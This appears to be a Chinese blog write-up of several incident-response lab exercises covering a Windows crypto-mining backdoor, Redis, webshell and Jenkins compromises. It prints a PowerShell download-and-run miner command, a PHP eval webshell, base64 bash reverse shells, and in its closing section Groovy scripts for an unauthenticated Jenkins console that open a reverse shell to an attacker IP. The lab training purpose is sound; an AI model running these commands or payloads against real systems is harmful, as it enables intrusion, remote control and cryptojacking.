跑跑沙箱:
在这里插入图片描述
A79D49F425F95E70DDF0C68C18ABC564

题目5:后门脚本的md5

后门脚本,上传火绒剑能够把系统的东西看挺全(进程,服务,启动项,注册表等)
在这里插入图片描述

启动项里面有个未知文件systems.bat脚本
在这里插入图片描述
在这里插入图片描述

powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y; Remove-Item -Force $tempfile"

解释:

powershell -Command "$wc = New-Object System.Net.WebClient;
//这行命令启动 PowerShell 并创建一个名为 $wc 的新 System.Net.WebClient 对象,这个对象用于从网络上下载文件。

$tempfile = [System.IO.Path]::GetTempFileName();
//这行命令获取一个临时文件的路径,并将其存储在变量 $tempfile 中。

$tempfile += '.bat';
//这行命令将 .bat 扩展名添加到临时文件路径的末尾,以便创建一个批处理文件。

$wc.DownloadFile('https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile);
//这行命令使用之前创建的 WebClient 对象从指定的 URL 下载一个文件,并将其保存到 $tempfile 指定的路径。

& $tempfile
//这行命令执行刚刚下载的批处理文件。

4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjjCtVbeoFARuQTu4Y;
//钱包的地址。

Remove-Item -Force $tempfile
//这行命令强制删除 $tempfile 指定的文件,即之前下载并执行的批处理文件。

在这里插入图片描述

文件: C:\Users\Administrator\AppData\systems.bat
大小: 374 字节
修改时间: 2024年5月21日, 20:30:02
MD5: 8414900F4C896964497C2CF6552EC4B9
SHA1: 9079597BBD3E7E95F488B127169D977848A1753A
CRC32: 54E727DB

8414900F4C896964497C2CF6552EC4B9

题目6:矿池地址

在脚本中有:c3pool.org
在这里插入图片描述
没打开。。。
在这里插入图片描述

题目7:钱包地址

同上,bat脚本有

4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y

题目8:攻击者是如何攻击进入的

暴力破解

提交答案:
1.攻击者IP
192.168.115.131
2.攻击者时间
2024-05-21 20:25:22
3.攻击者端口
3389
4.挖矿MD5
A79D49F425F95E70DDF0C68C18ABC564
5.后门脚本MD5
8414900F4C896964497C2CF6552EC4B9
6.矿池地址
c3pool.org
7.钱包地址
4APXVhukGNiR5kqqVC7jwiVaa5jDxUgPohEtAyuRS1uyeL6K1LkkBy9SKx5W1M7gYyNneusud6A8hKjJCtVbeoFARuQTu4Y
8.如何入侵
暴力破解

在这里插入图片描述

Linux应急响应靶机—1

挑战内容

前景需要:小王急匆匆地找到小张,小王说"李哥,我dev服务器被黑了",快救救我!!

挑战内容:

1.黑客的IP地址

2.遗留下的三个flag

注意:

该靶机有很多非预期解,做靶机是给自己做,请大家合理按照预期解进行探索。

密码:defend/defend root/defend
在这里插入图片描述

题目1:黑客的IP地址

黑客的IP地址,直接查看网络连接看一下:命令:netstat -ano

在这里插入图片描述

好像没有可疑IP。。。

su提权到root,查看所有用户的登录时间:命令:lastb
在这里插入图片描述

发现登录时间最后都是这个IP:192.168.75.129 估计是它了

但看官方作者题解是查看redis的连接日志:cat /var/log/redis/redis.log
在这里插入图片描述
cat /var/log/redis/redis.log | grep Acc
在这里插入图片描述
192.168.75.129

题目2:三个flag

先来一手历史命令:history
在这里插入图片描述
flag{thisismybaby}

从历史命令可以看出来/etc/rc.d/rc.local被修改(vim)过,看一眼:
在这里插入图片描述
flag{kfcvme50}

从历史命令可以看出来/etc/redis.conf被查看过,那我也看一眼吧

cat /etc/redis.conf
在这里插入图片描述
因为命令输出出来是全部的内容,我到着找的,最后猜才发现在第一行。。。

不如cat /etc/redis.conf | grep flag 饿死胆小,撑死胆大。。。
在这里插入图片描述
flag{P@ssW0rd_redis}

小插曲:

看一眼用户cat /etc/passwd

发现redis用户
在这里插入图片描述
考虑可能是通过redis未授权攻进来的。

查看:root/.ssh/authorized_keys 确实有一个公钥,但是没有flag。
在这里插入图片描述
查看Redis日志文件等级为 verbose 日志比较详细,然后在去查看日志:cat /var/log/redis/redis.log | grep Accepted
在这里插入图片描述
在这里插入图片描述
flag{thisismybaby} flag{P@ssW0rd_redis} flag{kfcvme50}

提交答案:
1.攻击者IP
192.168.75.129 

2.三个flag
flag{thisismybaby}  flag{P@ssW0rd_redis}  flag{kfcvme50}

在这里插入图片描述
在这里插入图片描述

Linux应急响应靶机—2

挑战内容

前景需要:看监控的时候发现webshell告警,领导让你上机检查你可以救救安服仔吗!!

1,提交攻击者IP

2,提交攻击者修改的管理员密码(明文)

3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)

3,提交Webshell连接密码

4,提交数据包的flag1

5,提交攻击者使用的后续上传的木马文件名称

6,提交攻击者隐藏的flag2

7,提交攻击者隐藏的flag3

root/Inch@957821.(大写i)
在这里插入图片描述

题目1:攻击者IP

题目说明是webshell告警,先看看开着什么服务吧

chkconfig --list
在这里插入图片描述
一些web服务,有宝塔面板,应该是能进去的

bt
在这里插入图片描述

看来需要改一下密码5
在这里插入图片描述
https://192.168.184.205:12485/5a2ce72d

uysycv5w:123456
在这里插入图片描述

查看web日志:

192.168.20.1多次访问
在这里插入图片描述

从异常流量也能看出来
在这里插入图片描述

还可以在linux命令查看web日志

显示所有进程信息:ps -ef
在这里插入图片描述
nginx的话,日志就是:access.log(访问日志)error_log(错误日志) 文件,查找一下:

find / -name access.log
在这里插入图片描述
在这里插入图片描述
发现192.168.20.1这个IP一直在访问phpmyadmin页面,就是它了。

192.168.20.1

题目2:攻击者修改的管理员密码

发现Mysql的账号密码:kaoshi:5Sx8mK5ieyLPb84m
在这里插入图片描述

访问phpmyadmin页面看看账号和密码怎么事

root:6e241cbc1d3cfeeb
在这里插入图片描述
在这里插入图片描述

直接去kaoshi数据库里面看看有没有用户表
在这里插入图片描述

在第二页的 x2_user 表中发现账号密码,密码被加密了,需要查看源码看是什么加密方法来进行逆推
在这里插入图片描述在这里插入图片描述

应该是peadmin用户

没有好办法,直接开找吧
在这里插入图片描述
发现了 register.app.php 是注册页面,双击文件即可打开在线编辑器查看文件,发现第65行,存储密码时调用了 modifyUserPassword 函数来加密
在这里插入图片描述

user.cls.php 页面中发现 modifyUserPassword 函数代码块,发现利用的是md5加密算法(不如猜一手MD5加密)
在这里插入图片描述

直接将peadmin的密码密文放在线解密网站去解密https://www.somd5.com/

f6f6eb5ace977d7e114377cc7098b7e3———>Network@2020
在这里插入图片描述
Network@2020

题目3:第一次Webshell的连接URL

添加域名IP为本机IP:192.168.184.205用来进行网站访问
在这里插入图片描述
http://192.168.184.205
在这里插入图片描述
peadmin:Network@2020
在这里插入图片描述

找找看吧:
在这里插入图片描述
在 内容页面的 标签管理选择编辑中发现木马文件
在这里插入图片描述

<?php namespace t;@eval($_POST['Network2020']);?>

找注册页面:
在这里插入图片描述

index.php?user-app-register

题目4:提交Webshell连接密码

刚刚找到过了

<?php namespace t;@eval($_POST['Network2020']);?>

Network2020

题目5:提交数据包的flag1

/root 目录下的 数据包1.pcapng
在这里插入图片描述

数据包用 WireShark 打开
在这里插入图片描述

过滤HTTP包:
在这里插入图片描述
从这里也能找出来题目3的webshell连接的URL

追踪HTTP流看看:能发现题目4的webshell密码,

@ini_set(“display_errors”, “0”);@set_time_limit(0);$opdir=@ini_get(“open_basedir”);妥妥一句话PHP木马流量特征
在这里插入图片描述
发现GET /flag1
在这里插入图片描述
追踪流
在这里插入图片描述
flag1{Network@_2020_Hack}

题目6:提交攻击者后续上传的木马文件名称

继续看流量包:请求的路径从index.php?user-app-register变成了version.php请求version.php返回404,而请求version2.php返回200成功,可能是木马
在这里插入图片描述
追踪HTTP流
在这里插入图片描述
应该是冰蝎马:version2.php

在这个包找到了木马源文件,绝b冰蝎马了在这里插入图片描述
在这里插入图片描述
来都来了,解个密吧:
在这里插入图片描述
version2.php

题目7:提交攻击者隐藏的flag2

history 命令出来的命令历史记录,看看都操作了啥
在这里插入图片描述
收获不小啊,直接把flag3给干出来了:flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

还发现攻击者疑似修改过mpnotify.php 与 alinotify.php,在历史命令看这两个文件是在.api/目录下的,查看两个文件存放位置

find / -name mpnotify.php alinotify.php
在这里插入图片描述
cat /www/wwwroot/127.0.0.1/.api/alinotify.php
在这里插入图片描述
flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

题目8:提交攻击者隐藏的flag3

这个从history 历史命令就可以看出来,但细看命令作者是把flag3添加到环境变量env里面了
在这里插入图片描述
env
在这里插入图片描述

flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

提交答案:
1.攻击者IP
192.168.20.1
2.管理员密码
Network@2020
3.连接webshell的URL
index.php?user-app-register
4.webshell连接密码
Network2020
5.数据包flag
flag1{Network@_2020_Hack}
6.木马名称
version2.php
7.flag2
flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
8.flag3
flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

./wp
在这里插入图片描述

Linux应急响应靶机—easy溯源

挑战内容

小张是个刚入门的程序猿,在公司开发产品的时候突然被叫去应急,小张心想"早知道简历上不写会应急了",于是call了运维小王的电话,小王说"你面试的时候不是说会应急吗?伪造简历吗?真该死。"

  1. 攻击者内网跳板机IP地址

  2. 攻击者服务器地址

  3. 存在漏洞的服务(提示:7个字符)

  4. 攻击者留下的flag(格式zgsf{})

  5. 攻击者邮箱地址

  6. 攻击者的ID名称

Ubuntu:zgsfsys/zgsfsys(root用户也是这个密码)
在这里插入图片描述

题目1:攻击者内网跳板机IP地址

桌面上有passwords.txt
在这里插入图片描述

https://127.0.0.1:15493/c536062c
username: fidiyixb
password: 0f48abfd

http://127.0.0.1:6631/
username: admin
password: BnGDPepT3P4BsxR

http://127.0.0.1:6565/
username: admin
password: admin148849464348

看看端口,没开22就不连接shell了
在这里插入图片描述
直接history走一波:
在这里插入图片描述
上面标箭头的都是有价值的信息:passwords.txt jenkins ping 192.168.11.129
在这里插入图片描述
println "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash ".execute().text
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS8xMjM0IDA+JjE= | base64 --decode | bash

最显眼最有问题的是这一段:对IP:192.168.11.129使用了ping命令,并且有两段打印、base64解码并执行的命令,但是其中加密的代码其实是同一个,对这一部分代码进行base4解码
在这里插入图片描述
bash -i >& /dev/tcp/192.168.11.129/1234 0>&1

解码后发现是一个反弹shell,反弹地址为192.168.11.129,猜测是跳板机ip地址

所以第一段代码的完整句子就是println "echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash ".execute().text

192.168.11.129

题目2:攻击者服务器地址

先把用户提权sudo -i到root,我来应急怎么可能不是root用户!!!
在这里插入图片描述

ls看看怎么事,有个chuantou文件,看着面生,cd进去看看,好家伙,出货了frpc,那攻击者的IP绝对在配置文件frpc.toml里面了,直接cat frpc.toml开!!!
在这里插入图片描述

‌frpc是FRP(Fast Reverse Proxy)的一个组件,主要用于内网穿透和反向代理。它允许通过一个中心服务器(frps)来转发流量到内网中的机器,使得内网服务能够被公网访问。frpc部署在内网中,负责将内网服务通过FRP协议发送到公共服务器,再由公共服务器将请求转发到相应的内网服务,从而实现内网穿透
zgsfsys@ubuntu:~$ sudo -i
[sudo] password for zgsfsys: 
root@ubuntu:~# passwd root
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@ubuntu:~# ls
chuantou
root@ubuntu:~# cd chuantou/
root@ubuntu:~/chuantou# ls
frpc  frpc.toml  system
root@ubuntu:~/chuantou# cat frpc.toml 
serverAddr = "127.0.0.1"
serverPort = 7000

[[proxies]]
name = "Hack-Server"
type = "tcp"
localIP = "156.66.33.66"
localPort = 22
remotePort = 6000
root@ubuntu:~/chuantou# 

156.66.33.66

题目3:存在漏洞的服务

服务?一般想起来网站:passwords的txt还没有用,看看

https://127.0.0.1:15493/c536062c
username: fidiyixb
password: 0f48abfd

http://127.0.0.1:6631/
username: admin
password: BnGDPepT3P4BsxR

http://127.0.0.1:6565/
username: admin
password: admin148849464348

看看浏览器:历史浏览,好东西!!!
在这里插入图片描述
宝塔面板一个:
在这里插入图片描述
程序员小破绽一个:

论坛一个:
在这里插入图片描述

Jenkins网站一个:Jenkins是一个开源的持续集成(CI)工具,主要用于自动化构建、测试和部署软件项目‌。它基于Java开发,提供了一个友好的操作界面,支持与多种版本控制工具(如Git、SVN)和构建工具(如Maven、Gradle)集成。‌
在这里插入图片描述
还发现一个flag:zgsf{gongzhonghaozhigongshanfangshiyanshi}

有flag就证明Jenkins有漏洞!OK了

题目4:攻击者留下的flag

在这里插入图片描述
zgsf{gongzhonghaozhigongshanfangshiyanshi}

题目5:攻击者邮箱地址
题目6:攻击者的ID名称

暂时无解咯:
在这里插入图片描述

提交答案:
1.内网跳板IP
192.168.11.129
2.服务器地址
156.66.33.66
3.漏洞服务
Jenkins
4.flag
zgsf{gongzhonghaozhigongshanfangshiyanshi}

解题.exe
在这里插入图片描述

来都来了:

看看有漏洞的Jenkins服务日志cat /var/log/jenkins/jenkins.log
在这里插入图片描述
在这里插入图片描述

盯了一圈,8080是映射端口,猜是未授权打进去的(这服务就这洞出名)

好了,来都来了,现在我就是黑客了:

还记得历史命令解出来的payload吗?

第一段代码的完整句子就是println "echo bash -i >& /dev/tcp/192.168.11.129/1234 0>&1 | base64 --decode | bash ".execute().text

把我们黑客专属的攻击机拿出来,把IP换成自己攻击机的IP并用base64加密:
在这里插入图片描述

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4yMDQvMTIzNCAwPiYx

println "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4yMDQvMTIzNCAwPiYx | base64 --decode | bash ".execute().text

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4NC4yMDQvMTIzNCAwPiYx | base64 --decode | bash
在这里插入图片描述
第一句println执行失败,第二句echo可以:

nc -lvp 1234
在这里插入图片描述
上线语句没问题,现在要看看怎么利用漏洞打进去:

jenkins 服务存在未授权访问,于是我们可以从系统管理-脚本命令行中输入命令,来达成我们的需求
在这里插入图片描述

从该页面可以得知,jenkins 服务使用的是Groovy Script 脚本语言,它是一种基于Java虚拟机的动态脚本语言‌,它结合了Python、Ruby和Smalltalk的特性,旨在提供简单、优雅的语法和强大的功能。Groovy可以无缝地与Java代码集成,使得开发者可以利用现有的Java库和框架,并且相对于Java来说,Groovy更加灵活和简洁‌。

直接构造py语言,写入代码实现反弹shell

def command = ["bash", "-c", "bash -i >& /dev/tcp/192.168.184.204/1234 0>&1"] // 替换为安全的命令
def processBuilder = new ProcessBuilder(command)

// 启动进程并等待其完成
def process = processBuilder.start()
def exitCode = process.waitFor()
// 处理输出和错误(这里省略了具体的输出处理逻辑)

在这里插入图片描述

运行,nc监听1234端口
在这里插入图片描述

也可以写文件然后再运行

// 定义文件路径和内容
def filePath = '/hack.sh'
def content = 'bash -i >& /dev/tcp/192.168.184.204/1234 0>&1'

// 创建文件并写入内容
new File(filePath).with {
   // 如果文件不存在,它会被创建
   if (!exists()) {
   createNewFile()
}

   // 写入内容
   write(content)
}

// 输出结果
println "文件已创建,并写入内容:$content"

def command = ["bash", "-c", "bash /hack.sh"] // 替换为安全的命令
def processBuilder = new ProcessBuilder(command)

// 设置环境变量(如果需要)
// processBuilder.environment().put("VAR_NAME", "value")

// 重定向输出(注意:这里不直接支持UDP重定向,你需要考虑其他方法)
// 通常,你可以将输出重定向到文件或另一个进程,但UDP重定向需要特殊处理
// 一种可能的方法是使用netcat (nc) 或其他工具作为中间步骤

// 启动进程并等待其完成
def process = processBuilder.start()
def exitCode = process.waitFor()

// 处理输出和错误(这里省略了具体的输出处理逻辑)

在这里插入图片描述
在这里插入图片描述
好了,到此结束了,

总结:

致所有安服仔:
上述环境皆是靶场环境,与真实环境还是有点区别的。真实环境遇到了CPU飙升,webshell木马,近源等等,如果确定攻击事件,立即上报,然后进行应急排除。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值